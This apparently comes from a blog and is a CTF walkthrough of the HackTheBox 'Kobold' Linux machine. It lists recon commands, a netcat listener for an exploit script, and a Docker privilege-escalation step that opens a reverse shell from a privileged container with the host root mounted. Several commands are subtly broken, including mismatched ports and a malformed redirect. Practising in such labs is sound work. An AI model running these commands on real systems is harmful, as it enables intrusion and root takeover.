Kobold HTB Writeup

Kobold HTB Writeup


Introduction

Kobold is an Easy-rated Linux machine from HackTheBox Season 10 that showcases a realistic privilege escalation vector through Docker group misconfiguration and PAM session inheritance. Deployed on Ubuntu 24.04.4 LTS (kernel 6.8.0-106-generic), this box simulates a modern web infrastructure running PrivateBinMCPJam Inspector (Node.js MCP debugging tool), and Docker containers behind Nginx reverse proxy.

The attack chain bypasses initial misdirections (PrivateBin operator group writes, MCPJam RCE) to exploit a subtle but critical flaw: user ben possesses implicit Docker group access via PAM configuration despite not being listed in /etc/group. Activating this with newgrp docker grants full Docker daemon control, enabling container escape to root via privileged host mounts.

Command: nmap -Pn -A 10.129.87.87

Add the host in etc file

Command: echo ‘10.129.87.87 mcp.kobold.htb bin.kobold.htb’ >> /etc/hosts

Commands to find the sub-domains are as follows:

gobuster dir -u https://kobold.htb -w /usr/share/wordlists/dirbuster/directory

ffuf -u https://FUZZ.kobold.htb -w /usr/share/wordlists/dnsmap.txt -H “Host: FUZZ.kobold.htb” -k

The below script is from the link,

Command: nano fight.py and then paste the following code

Command: nc -lvnp 444

Command: python3 fight.py –url https://mcp.kobold.htb –lhost 10.10.10.10–lport 4444

Confirm that you received the connection

Root Flag

Upload linpeas.sh to the taret and check for the info you will notice the IP 172.17.0.1

Check All Users and groups you will notice that ben is in the operator group and can run some docker commands

Command: docker images

Command: newgrp docker

Start your listener with Command: nc -lvnp 5555

on the target run the command: docker run –rm –privileged -v /:/host-root -it privatebin/nginx-fpm-alpine:2.0.2 sh -c “chroot /host-root sh -i >& /dev/tcp/10.10.10.11/6666 0>&1”

Command: docker ps

Command: docker run –rm –privileged -v /:/host-root mysql:latest sh -c “chroot /host-root sh -i >& /6666 0>&1”

Confirm you received the connection

Command: cat root.txt

Leave a Reply

Your email address will not be published. Required fields are marked *